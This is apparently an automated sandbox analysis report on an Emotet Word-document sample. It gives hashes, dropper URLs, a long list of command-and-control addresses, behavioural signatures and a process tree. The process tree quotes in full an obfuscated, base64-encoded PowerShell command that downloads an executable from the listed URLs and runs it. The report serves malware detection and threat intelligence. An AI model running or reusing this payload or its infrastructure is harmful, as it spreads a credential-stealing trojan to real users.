emotet | 55602b4029b686a7580b578c217f2d3da2de553e8d41b8630276dd5bcf231ffe

Analysis

max time kernel
136s
max time network
147s
platform
windows10_x64
resource
win10
submitted
15/09/2020, 12:58

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General

Target
BAL_SM7344234948RW.doc
Size 153KB
Sample200915-stdz1t8gwj
SHA256 55602b4029b686a7580b578c217f2d3da2de553e8d41b8630276dd5bcf231ffe
MD5 3875dc522a05db40bab58241e87e80bf
SHA1 191d5feadeaa3a3f35f5f2845fb0447fde5b19c1
SHA512 6587fe5e6ab2435aaf8cc39d57a7451e574f49c7095a218e760e04d6a82775f102d23b27d3c296c59fa9c5b9ed520022b00b66f0e4967dd75dc7d2101dd0becf
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://cnnmediaservices.com/wp-admin/czBMOhz/
exe.dropper
http://ak3.net/t0XJ/
exe.dropper
http://ovday.com/1umq/S5IWl04/
exe.dropper
http://gch7.com/wp-includes/Nkwp/
exe.dropper
http://chengmikeji.com/wp-includes/9QQ/
exe.dropper
http://blog.anseeing.com/sys-cache/h/
exe.dropper
http://1sync-wp.x.opencrm.eu/wp-content/Bu/

Extracted

Family

emotet

220.245.198.194:80
104.156.59.7:8080
120.138.30.150:8080
139.59.67.118:443
139.130.242.43:80
104.32.141.43:80
156.155.166.221:80
121.7.127.163:80
153.177.101.120:443
162.241.242.173:8080
91.211.88.52:7080
95.179.229.244:8080
103.86.49.11:8080
139.59.60.244:8080
121.124.124.40:7080
104.131.11.150:443
200.114.213.233:8080
82.225.49.121:80
79.98.24.39:8080
5.196.74.210:8080
61.19.246.238:443
188.219.31.12:80
94.200.114.161:80
110.145.77.103:80
203.153.216.189:7080
62.30.7.67:443
47.144.21.12:443
181.169.34.190:80
174.45.13.118:80
87.106.139.101:8080
79.137.83.50:443
1.221.254.82:80
78.187.156.31:80
83.169.36.251:8080
195.251.213.56:80
110.5.16.198:80
24.43.99.75:80
139.162.108.71:8080
139.99.158.11:443
85.105.205.77:8080
75.139.38.211:80
50.91.114.38:80
176.111.60.55:8080
24.137.76.62:80
62.75.141.82:80
94.23.237.171:443
37.139.21.175:8080
74.208.45.104:8080
200.123.150.89:443
85.214.28.226:8080
68.188.112.97:80
203.117.253.142:80
94.23.216.33:80
137.119.36.33:80
169.239.182.217:8080
124.41.215.226:80
84.39.182.7:80
168.235.67.138:7080
194.187.133.160:443
219.74.18.66:443
61.92.17.12:80
187.161.206.24:80
85.152.162.105:80
50.35.17.13:80
104.236.246.93:8080
140.186.212.146:80
24.179.13.119:80
120.150.60.189:80
109.74.5.95:8080
5.39.91.110:7080
42.200.107.142:80
87.106.136.232:8080
93.147.212.206:80
74.120.55.163:80
107.5.122.110:80
78.24.219.147:8080
37.187.72.193:8080
95.213.236.64:8080
209.141.54.221:8080
185.94.252.104:443
213.196.135.145:80
157.245.99.39:8080
172.91.208.86:80
97.82.79.83:80
153.232.188.106:80
137.59.187.107:8080
201.173.217.124:443
104.131.44.150:8080
174.102.48.180:443
89.216.122.92:80
94.1.108.190:443
46.105.131.79:8080
82.80.155.43:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2776	3528	powershell.exe	73

Blacklisted process makes network request 1 IoCs

flow	pid	Process
15	2776	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2008	H3vhkqzr2.exe
3708	wimgapi.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\activeds\wimgapi.exe	H3vhkqzr2.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3672	WINWORD.EXE
3672	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2776	powershell.exe
2776	powershell.exe
2776	powershell.exe
3708	wimgapi.exe
3708	wimgapi.exe
3708	wimgapi.exe
3708	wimgapi.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2776	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3672	WINWORD.EXE
3672	WINWORD.EXE
3672	WINWORD.EXE
3672	WINWORD.EXE
3672	WINWORD.EXE
3672	WINWORD.EXE
3672	WINWORD.EXE
3672	WINWORD.EXE
3672	WINWORD.EXE
2008	H3vhkqzr2.exe
2008	H3vhkqzr2.exe
3708	wimgapi.exe
3708	wimgapi.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2776 wrote to memory of 2008	2776	powershell.exe	80
PID 2776 wrote to memory of 2008	2776	powershell.exe	80
PID 2776 wrote to memory of 2008	2776	powershell.exe	80
PID 2008 wrote to memory of 3708	2008	H3vhkqzr2.exe	82
PID 2008 wrote to memory of 3708	2008	H3vhkqzr2.exe	82
PID 2008 wrote to memory of 3708	2008	H3vhkqzr2.exe	82

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\BAL_SM7344234948RW.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3672

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABEAGwAagBxAGMAcQB0AD0AKAAnAEYAJwArACgAJwA4ADcAcABiACcAKwAnADYAJwApACsAJwB2ACcAKQA7ACYAKAAnAG4AZQB3AC0AJwArACcAaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgBWADoAdQBzAGUAcgBwAFIATwBmAGkATABFAFwAeQBzADEASAAyAG4AeABcAEMANgBOADYAdgB5AHEAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIAZQBjAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAGMAVQBSAEkAVAB5AFAAcgBPAFQAYABvAEMAYABvAEwAIgAgAD0AIAAoACcAdAAnACsAKAAnAGwAJwArACcAcwAxADIAJwApACsAKAAnACwAIAB0ACcAKwAnAGwAJwApACsAKAAnAHMAMQAnACsAJwAxACwAIAB0ACcAKwAnAGwAcwAnACkAKQA7ACQATgBfAHUAbgBxAG4ANgAgAD0AIAAoACcASAAnACsAJwAzACcAKwAoACcAdgAnACsAJwBoAGsAJwArACcAcQB6AHIAJwApACsAJwAyACcAKQA7ACQATAA1ADgAdQBmADUAdQA9ACgAKAAnAEcAZgBlAHAAJwArACcAaQAnACkAKwAnAHQAXwAnACkAOwAkAFYAbgB5AHQAeQBrAG8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBuAEwAJwArACcASgBZACcAKwAnAHMAMQBoADIAbgAnACkAKwAoACcAeABuAEwASgBDACcAKwAnADYAJwApACsAJwBuACcAKwAoACcANgB2AHkAJwArACcAcQAnACkAKwAoACcAbgAnACsAJwBMAEoAJwApACkAIAAgAC0AQwBSAEUAcABMAEEAQwBFACAAKABbAEMASABhAHIAXQAxADEAMAArAFsAQwBIAGEAcgBdADcANgArAFsAQwBIAGEAcgBdADcANAApACwAWwBDAEgAYQByAF0AOQAyACkAKwAkAE4AXwB1AG4AcQBuADYAKwAoACgAJwAuAGUAJwArACcAeAAnACkAKwAnAGUAJwApADsAJABBADYAcwBoAF8AaQBqAD0AKAAnAFAAJwArACgAJwA1ACcAKwAnAGQAaQAnACsAJwBiAHoAdwAnACkAKQA7ACQASQA0ADIAYwA1ADIAXwA9AC4AKAAnAG4AZQB3AC0AbwBiAGoAJwArACcAZQAnACsAJwBjAHQAJwApACAAbgBFAHQALgB3AEUAQgBjAGwAaQBFAG4AVAA7ACQATgB3AHgAbgBwAHYAaAA9ACgAKAAnAGgAdAB0ACcAKwAnAHAAJwApACsAKAAnADoALwAvACcAKwAnAGMAbgBuAG0AJwApACsAJwBlAGQAJwArACcAaQBhACcAKwAnAHMAJwArACgAJwBlACcAKwAnAHIAdgBpACcAKQArACcAYwBlACcAKwAoACcAcwAuAGMAJwArACcAbwBtACcAKwAnAC8AdwBwACcAKwAnAC0AYQBkAG0AaQBuAC8AYwB6ACcAKwAnAEIAJwApACsAKAAnAE0ATwBoACcAKwAnAHoALwAqACcAKwAnAGgAdAAnACkAKwAoACcAdAAnACsAJwBwADoALwAnACkAKwAoACcALwAnACsAJwBhAGsAMwAuACcAKwAnAG4AZQB0ACcAKQArACgAJwAvAHQAMABYACcAKwAnAEoALwAnACsAJwAqACcAKwAnAGgAdAB0AHAAOgAvACcAKwAnAC8AJwApACsAKAAnAG8AdgAnACsAJwBkACcAKwAnAGEAeQAuAGMAJwArACcAbwBtAC8AMQAnACkAKwAoACcAdQBtAHEAJwArACcALwAnACkAKwAnAFMANQAnACsAKAAnAEkAVwBsACcAKwAnADAAJwApACsAKAAnADQAJwArACcALwAqAGgAdAAnACkAKwAoACcAdABwADoAJwArACcALwAvACcAKQArACcAZwAnACsAJwBjACcAKwAnAGgANwAnACsAKAAnAC4AYwBvAG0AJwArACcALwB3ACcAKwAnAHAALQAnACkAKwAnAGkAbgAnACsAJwBjACcAKwAnAGwAJwArACcAdQBkACcAKwAnAGUAJwArACgAJwBzAC8ATgAnACsAJwBrAHcAJwArACcAcAAvACoAJwApACsAJwBoAHQAJwArACgAJwB0AHAAOgAvACcAKwAnAC8AJwArACcAYwBoACcAKwAnAGUAbgBnAG0AaQBrAGUAJwApACsAKAAnAGoAaQAuAGMAbwBtAC8AJwArACcAdwAnACsAJwBwACcAKQArACgAJwAtAGkAJwArACcAbgBjAGwAdQBkAGUAJwApACsAJwBzAC8AJwArACgAJwA5AFEAJwArACcAUQAvACoAaAAnACkAKwAoACcAdAB0AHAAJwArACcAOgAnACkAKwAnAC8ALwAnACsAKAAnAGIAJwArACcAbABvACcAKQArACgAJwBnAC4AYQBuAHMAJwArACcAZQAnACkAKwAoACcAZQBpACcAKwAnAG4AJwApACsAKAAnAGcAJwArACcALgBjAG8AbQAvACcAKQArACgAJwBzAHkAcwAtACcAKwAnAGMAYQBjAGgAZQAvACcAKwAnAGgAJwArACcALwAnACsAJwAqACcAKQArACgAJwBoACcAKwAnAHQAdABwADoALwAvADEAJwApACsAKAAnAHMAeQBuAGMAJwArACcALQAnACsAJwB3AHAALgAnACkAKwAoACcAeAAnACsAJwAuAG8AcABlAG4AJwArACcAYwByACcAKQArACcAbQAnACsAJwAuACcAKwAnAGUAJwArACgAJwB1AC8AJwArACcAdwAnACkAKwAoACcAcAAtACcAKwAnAGMAbwAnACkAKwAnAG4AdAAnACsAKAAnAGUAbgB0ACcAKwAnAC8AQgB1ACcAKQArACcALwAnACkALgAiAFMAcABMAGAASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUwBwAF8AMQBtAHkAMgA9ACgAKAAnAFcAJwArACcANQB2AHEANgAnACkAKwAnADYAJwArACcAdAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABJAGYAYwB1ADEAYQB5ACAAaQBuACAAJABOAHcAeABuAHAAdgBoACkAewB0AHIAeQB7ACQASQA0ADIAYwA1ADIAXwAuACIAZABPAHcAYABOAGwAbwBgAEEAZABmAEkATABlACIAKAAkAEkAZgBjAHUAMQBhAHkALAAgACQAVgBuAHkAdAB5AGsAbwApADsAJABGADUAcQA2ADAAdAB6AD0AKAAoACcATwB0ACcAKwAnADAAbQAyACcAKQArACcAbABnACcAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABWAG4AeQB0AHkAawBvACkALgAiAGwAZQBgAE4AZwBgAFQAaAAiACAALQBnAGUAIAAzADEAMwA4ADEAKQAgAHsAJgAoACcASQBuAHYAJwArACcAbwBrAGUALQBJAHQAJwArACcAZQAnACsAJwBtACcAKQAoACQAVgBuAHkAdAB5AGsAbwApADsAJABJADEANQB0AGoAZgBuAD0AKAAoACcATQAnACsAJwBuAGYAeQA1ACcAKQArACcAdAAxACcAKQA7AGIAcgBlAGEAawA7ACQAQQBhAGkAaQAzADUAZwA9ACgAKAAnAFQAJwArACcAZgA0ACcAKQArACgAJwB6AG8AawAnACsAJwB0ACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABBADgAdABmADEAdAAwAD0AKAAnAEMAMgAnACsAJwBzACcAKwAoACcAZwB0ACcAKwAnAHUAMQAnACkAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2776
- C:\Users\Admin\Ys1h2nx\C6n6vyq\H3vhkqzr2.exe
  "C:\Users\Admin\Ys1h2nx\C6n6vyq\H3vhkqzr2.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2008
- - C:\Windows\SysWOW64\activeds\wimgapi.exe
    "C:\Windows\SysWOW64\activeds\wimgapi.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3708

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2008-16-0x0000000000600000-0x0000000000610000-memory.dmp

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memory/2008-15-0x00000000005E0000-0x00000000005F2000-memory.dmp

Download

memory/2776-10-0x000001F8020C0000-0x000001F8020C1000-memory.dmp

Download

memory/2776-9-0x00007FFDB5690000-0x00007FFDB607C000-memory.dmp

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memory/2776-11-0x000001F81A900000-0x000001F81A901000-memory.dmp

Download

memory/3672-5-0x0000020D688A2000-0x0000020D688B3000-memory.dmp

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memory/3672-0-0x00007FFDBCD20000-0x00007FFDBD3E6000-memory.dmp

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memory/3672-8-0x0000020D69421000-0x0000020D69426000-memory.dmp

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memory/3672-6-0x0000020D69421000-0x0000020D69426000-memory.dmp

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memory/3672-7-0x0000020D6941C000-0x0000020D69421000-memory.dmp

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memory/3672-4-0x0000020D692DB000-0x0000020D692EC000-memory.dmp

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memory/3672-3-0x0000020D692DB000-0x0000020D692EC000-memory.dmp

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memory/3672-2-0x0000020D692DB000-0x0000020D692EC000-memory.dmp

Download

memory/3672-1-0x0000020D692DB000-0x0000020D692EC000-memory.dmp

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memory/3708-20-0x0000000000570000-0x0000000000580000-memory.dmp

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memory/3708-19-0x0000000000550000-0x0000000000562000-memory.dmp

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